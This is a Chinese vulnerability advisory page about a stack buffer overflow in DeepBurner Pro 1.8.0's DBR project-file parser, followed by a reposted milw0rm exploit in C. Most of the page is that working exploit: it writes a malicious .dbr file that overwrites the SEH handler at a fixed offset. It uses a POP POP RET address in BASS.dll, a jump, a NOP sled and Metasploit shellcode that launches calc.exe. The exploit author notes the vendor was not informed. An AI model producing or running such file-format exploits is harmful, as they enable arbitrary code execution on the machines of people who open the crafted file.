首页 -> 安全研究
安全研究
安全漏洞
DeepBurner DBR文件解析栈溢出漏洞
发布日期：2006-12-19
更新日期：2006-12-20
受影响系统：
Astonsoft Ltd. DeepBurner Pro 1.8.0.225描述：
BUGTRAQ ID: 21657
DeepBurner是一款轻量级的刻录工具，可以刻录数据/CD/VCD/DVD。
DeepBurner在解析畸形DBR文件时存在栈溢出漏洞，远程攻击者可能利用此漏洞在用户机器上执行任意指令。
如果DBR文件file标签的path参数包含有大于256字节的超长字符串的话，就会触发这个溢出，导致执行任意代码。
<*来源：Expanders
链接：http://secunia.com/advisories/23367/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
_______ ________ .__ _____ __
___ __\ _ \ ____ \_____ \ | |__ / | | ____ | | __
\ \/ / /_\ \ / \ _(__ < ______ | | \ / | |__/ ___\| |/ /
> <\ \_/ \ | \/ \ /_____/ | Y \/ ^ /\ \___| <
/__/\_ \\_____ /___| /______ / |___| /\____ | \___ >__|_ \
\/ \/ \/ \/ 18\12\06 \/ |__| \/ \/
* mm. dM8
* YMMMb. dMM8 _____________________________________
* YMMMMb dMMM' [ ]
* `YMMMb dMMMP [ There are doors I have yet to open ]
* `YMMM MMM' [ windows I have yet to look through ]
* "MbdMP [ Going forward may not be the answer ]
* .dMMMMMM.P [ ]
* dMM MMMMMM [ maybe I should go back ]
* 8MMMMMMMMMMI [_____________________________________]
* YMMMMMMMMM www.netbunny.org
* "MMMMMMP [Happy holidays to everybody]
* MxM .mmm
* W"W """
[i] Title: DeepBurner <= 1.8.0 dbr parsing remote buffer overflow
[i] Discovered by: Expanders
[i] Exploit by: Expanders - expanders [aaat] gmail [dooot] com
[i] References: http://www.deepburner.com/
[i] Greatings: x0n3-h4ck - netbunny
[ Research diary ]
Another classical buffer overflow. This time is located in the "file name" tag of the dbr file.
if we supply more than 272 bytes of buffer we can trigger an access violation
and we can overwrite SEH handler. After that stack get a little bit corrupted, btw nothing that a tricky jmpover
cannot avoid :)
[ Timeline ]
Vendor hasn't been informed. Damned greyhats!
[ Notes ]
RETcode type: POP REG, POP REG, RET
To improve realiability you can search your own RETcodes..
[ Special Thanks ]
H D Moore
Greg Linares <--- You're awesome man!
[ Links ]
www.x0n3-h4ck.org
www.netbunny.org
*/
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
// Exploit internals, change only if you know what you are doing
#define BUFFSIZE 1000
// Offsets
#define SEH_OFFSET 272
int banner();
int usage(char *filename);
unsigned char header[] =
"\x3C\x44\x65\x65\x70\x42\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F"
"\x72\x64\x20\x76\x65\x72\x3D\x22\x31\x2E\x38\x2E\x30\x2E\x32\x32"
"\x34\x22\x20\x74\x79\x70\x65\x3D\x22\x64\x61\x74\x61\x22\x3E\x0D"
"\x0A\x20\x20\x20\x20\x3C\x64\x61\x74\x61\x5F\x63\x64\x20\x76\x65"
"\x72\x3D\x22\x31\x22\x20\x64\x65\x76\x69\x63\x65\x3D\x22\x22\x20"
"\x73\x65\x73\x73\x69\x6F\x6E\x32\x69\x6D\x70\x6F\x72\x74\x3D\x22"
"\x30\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x64\x69\x73\x63"
"\x3D\x22\x31\x22\x20\x66\x69\x6E\x61\x6C\x69\x7A\x65\x5F\x74\x72"
"\x61\x63\x6B\x3D\x22\x31\x22\x20\x62\x6F\x6F\x74\x61\x62\x6C\x65"
"\x3D\x22\x30\x22\x20\x62\x6F\x6F\x74\x5F\x69\x6D\x61\x67\x65\x5F"
"\x70\x61\x74\x68\x3D\x22\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20"
"\x20\x20\x3C\x64\x69\x72\x20\x6E\x61\x6D\x65\x3D\x22\x43\x44\x52"
"\x6F\x6F\x74\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x3E\x0D\x0A\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x69\x6C\x65"
"\x20\x6E\x61\x6D\x65\x3D\x22\x74\x65\x73\x74\x2E\x74\x78\x74\x22"
"\x20\x70\x61\x74\x68\x3D\x22";
unsigned char footer[] =
"\x22\x20\x69\x6D\x70\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
"\x20\x20\x20\x20\x20\x20\x3C\x2F\x64\x69\x72\x3E\x0D\x0A\x20\x20"
"\x20\x20\x3C\x2F\x64\x61\x74\x61\x5F\x63\x64\x3E\x0D\x0A\x20\x20"
"\x20\x20\x3C\x63\x64\x5F\x6C\x61\x62\x65\x6C\x20\x76\x65\x72\x3D"
"\x22\x31\x22\x20\x7A\x6F\x6F\x6D\x3D\x22\x30\x22\x20\x76\x69\x65"
"\x77\x3D\x22\x6C\x61\x62\x65\x6C\x22\x20\x6C\x61\x79\x6F\x75\x74"
"\x3D\x22\x73\x74\x61\x6E\x64\x61\x72\x74\x22\x3E\x0D\x0A\x20\x20"
"\x20\x20\x20\x20\x20\x20\x3C\x6C\x61\x62\x65\x6C\x20\x2F\x3E\x0D"
"\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x66\x72\x6F\x6E\x74\x20"
"\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x62\x61\x63"
"\x6B\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x63\x64\x5F\x6C"
"\x61\x62\x65\x6C\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x61\x75\x74\x6F"
"\x72\x75\x6E\x20\x76\x65\x72\x3D\x22\x31\x22\x20\x75\x73\x65\x3D"
"\x22\x30\x22\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x3C\x6D"
"\x61\x69\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x4D\x61\x69\x6E\x46\x6F"
"\x72\x6D\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
"\x22\x20\x68\x69\x6E\x74\x3D\x22\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
"\x20\x20\x20\x20\x20\x20\x3C\x74\x69\x74\x6C\x65\x20\x6E\x61\x6D"
"\x65\x3D\x22\x54\x69\x74\x6C\x65\x22\x20\x74\x65\x78\x74\x3D\x22"
"\x54\x69\x74\x6C\x65\x22\x20\x68\x69\x6E\x74\x3D\x22\x54\x69\x74"
"\x6C\x65\x20\x62\x6F\x78\x22\x20\x6C\x65\x66\x74\x3D\x22\x31\x34"
"\x34\x22\x20\x74\x6F\x70\x3D\x22\x34\x38\x22\x20\x77\x69\x64\x74"
"\x68\x3D\x22\x35\x37\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x33"
"\x33\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x54\x69\x6D"
"\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E\x22\x20\x66\x6F"
"\x6E\x74\x73\x69\x7A\x65\x3D\x22\x32\x30\x22\x20\x66\x6F\x6E\x74"
"\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69"
"\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C"
"\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x20\x20"
"\x20\x20\x3C\x63\x6F\x6D\x6D\x65\x6E\x74\x20\x6E\x61\x6D\x65\x3D"
"\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x73\x22\x20\x74\x65\x78\x74\x3D"
"\x22\x43\x6F\x6D\x6D\x65\x6E\x74\x22\x20\x68\x69\x6E\x74\x3D\x22"
"\x43\x6F\x6D\x6D\x65\x6E\x74\x20\x62\x6F\x78\x22\x20\x6C\x65\x66"
"\x74\x3D\x22\x34\x30\x22\x20\x74\x6F\x70\x3D\x22\x37\x36\x22\x20"
"\x77\x69\x64\x74\x68\x3D\x22\x38\x39\x22\x20\x68\x65\x69\x67\x68"
"\x74\x3D\x22\x32\x39\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D"
"\x22\x54\x69\x6D\x65\x73\x20\x4E\x65\x77\x20\x52\x6F\x6D\x61\x6E"
"\x22\x20\x66\x6F\x6E\x74\x73\x69\x7A\x65\x3D\x22\x31\x35\x22\x20"
"\x66\x6F\x6E\x74\x63\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20"
"\x76\x69\x73\x69\x62\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74"
"\x73\x74\x79\x6C\x65\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20"
"\x20\x20\x20\x20\x20\x20\x3C\x65\x78\x69\x74\x62\x75\x74\x74\x6F"
"\x6E\x20\x6E\x61\x6D\x65\x3D\x22\x42\x75\x74\x74\x6F\x6E\x45\x78"
"\x69\x74\x22\x20\x69\x6D\x61\x67\x65\x5F\x70\x61\x74\x68\x3D\x22"
"\x22\x20\x69\x6D\x61\x67\x65\x5F\x64\x6F\x77\x6E\x5F\x70\x61\x74"
"\x68\x3D\x22\x22\x20\x74\x65\x78\x74\x3D\x22\x45\x78\x69\x74\x22"
"\x20\x68\x69\x6E\x74\x3D\x22\x45\x78\x69\x74\x20\x74\x68\x69\x73"
"\x20\x70\x72\x6F\x67\x72\x61\x6D\x22\x20\x6C\x65\x66\x74\x3D\x22"
"\x31\x32\x30\x22\x20\x74\x6F\x70\x3D\x22\x39\x36\x22\x20\x77\x69"
"\x64\x74\x68\x3D\x22\x37\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D"
"\x22\x32\x35\x22\x20\x66\x6F\x6E\x74\x6E\x61\x6D\x65\x3D\x22\x4D"
"\x53\x20\x53\x61\x6E\x73\x20\x53\x65\x72\x69\x66\x22\x20\x66\x6F"
"\x6E\x74\x73\x69\x7A\x65\x3D\x22\x38\x22\x20\x66\x6F\x6E\x74\x63"
"\x6F\x6C\x6F\x72\x3D\x22\x32\x35\x35\x22\x20\x76\x69\x73\x69\x62"
"\x6C\x65\x3D\x22\x31\x22\x20\x66\x6F\x6E\x74\x73\x74\x79\x6C\x65"
"\x3D\x22\x30\x22\x20\x2F\x3E\x0D\x0A\x20\x20\x20\x20\x3C\x2F\x61"
"\x75\x74\x6F\x72\x75\x6E\x3E\x0D\x0A\x3C\x2F\x44\x65\x65\x70\x42"
"\x75\x72\x6E\x65\x72\x5F\x72\x65\x63\x6F\x72\x64\x3E\x0D\x0A";
/* win32_exec - EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
/* Known badchars: 0x00 0x3c 0x3e 0x0a 0x0d 0x22 0x2F */
unsigned char shellcode[] =
"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08"
"\x6b\x48\x82\x83\xeb\xfc\xe2\xf4\xf4\x83\x0c\x82\x08\x6b\xc3\xc7"
"\x34\xe0\x34\x87\x70\x6a\xa7\x09\x47\x73\xc3\xdd\x28\x6a\xa3\xcb"
"\x83\x5f\xc3\x83\xe6\x5a\x88\x1b\xa4\xef\x88\xf6\x0f\xaa\x82\x8f"
"\x09\xa9\xa3\x76\x33\x3f\x6c\x86\x7d\x8e\xc3\xdd\x2c\x6a\xa3\xe4"
"\x83\x67\x03\x09\x57\x77\x49\x69\x83\x77\xc3\x83\xe3\xe2\x14\xa6"
"\x0c\xa8\x79\x42\x6c\xe0\x08\xb2\x8d\xab\x30\x8e\x83\x2b\x44\x09"
"\x78\x77\xe5\x09\x60\x63\xa3\x8b\x83\xeb\xf8\x82\x08\x6b\xc3\xea"
"\x34\x34\x79\x74\x68\x3d\xc1\x7a\x8b\xab\x33\xd2\x60\x9b\xc2\x86"
"\x57\x03\xd0\x7c\x82\x65\x1f\x7d\xef\x08\x29\xee\x6b\x45\x2d\xfa"
"\x6d\x6b\x48\x82";
/* Jmp 0x40 bytes over to avoid corruption */
unsigned char jmpover[] =
"\xeb\x40\x90\x90";
struct retcodes{char *platform;unsigned long addr;} targets[]= {
{ "DeepBurner 1.8.0", 0x10017928 }, // BASS.dll pop ecx, pop ecx, ret
{ "Crash - Testing" , 0xbadc0ded },
};
int banner() {
printf("\n _______ ________ .__ _____ __ \n");
printf("___ __\\ _ \\ ____ \\_____ \\ | |__ / | | ____ | | __ \n");
printf("\\ \\/ / /_\\ \\ / \\ _(__ < ______ | | \\ / | |__/ ___\\| |/ / \n");
printf(" > <\\ \\_/ \\ | \\/ \\ /_____/ | Y \\/ ^ /\\ \\___| < \n");
printf("/__/\\_ \\\\_____ /___| /______ / |___| /\\____ | \\___ >__|_ \\ \n");
printf(" \\/ \\/ \\/ \\/ \\/ |__| \\/ \\/ \n\n");
printf("[i] Title: \tDeepBurner <= 1.8.0 dbr compilation Buffer overflow\n");
printf("[i] Discovered by:\tExpanders\n");
printf("[i] Exploit by: \tExpanders\n\n");
return 0;
}
int usage(char *filename) {
int i;
printf("Usage: \t%s <filename> <targ>\n\n",filename);
printf(" \t<filename> : Output filename\n");
printf(" \t<targ> : Target from the list below\n\n");
printf("Ex: \t%s exploit.dbr 0\n\n",filename);
printf("# \t Platform\n");
printf("-----------------------------------------------\n");
for(i = 0; targets[i].platform; i++)
printf("%d \t %s\n",i,targets[i].platform);
printf("-----------------------------------------------\n");
exit(0);
}
int main(int argc, char *argv[]) {
FILE *output;
int position;
char *buffer;
banner();
if( argc != 3 )
usage(argv[0]);
printf("[+] Target is: %s\n",targets[atoi(argv[2])].platform);
printf("[+] Creating evil buffer...");
fflush(stdout);
buffer = (char *) malloc(BUFFSIZE);
position = 0;
memset(buffer,0x41,BUFFSIZE);
memset(buffer,0x41,SEH_OFFSET); position += SEH_OFFSET;
memcpy(buffer+position,jmpover,4); position += 4;
memcpy(buffer+position,&targets[atoi(argv[2])].addr,4); position += 4;
memset(buffer+position,0x90,0x40); position += 0x40; // shift 0x40 bytes ahead to avoid corruption
memcpy(buffer+position,shellcode,strlen(shellcode)); position += strlen(shellcode);
memset(buffer+position,0x00,1);
printf("done\n");
printf("[+] Opening file...");
fflush(stdout);
if(!(output = fopen(argv[1],"w"))) {
fprintf(stderr,"error\n");
return 1;
}
printf("done\n");
printf("[+] Writing stuff into the file\n");
fprintf(output,"%s%s%s",header,buffer,footer);
printf("[+] Done! %s created!\n",argv[1]);
fclose(output);
free(buffer);
return 0;
}
// milw0rm.com [2006-12-19]
建议：
厂商补丁：
Astonsoft Ltd.
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.deepburner.com/
浏览次数：3319
严重程度：0（网友投票）
绿盟科技给您安全的保障